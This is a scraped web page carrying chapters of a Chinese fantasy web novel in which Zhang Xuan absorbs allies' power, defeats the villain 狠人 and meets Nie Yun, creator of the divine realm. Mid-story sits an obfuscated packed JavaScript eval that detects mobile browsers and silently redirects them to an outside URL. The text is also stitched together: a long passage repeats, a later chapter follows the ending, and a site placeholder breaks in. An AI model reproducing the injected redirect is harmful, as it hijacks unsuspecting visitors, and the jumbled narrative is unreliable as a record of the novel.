“他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16545999|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第27章胜了!我们胜了 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 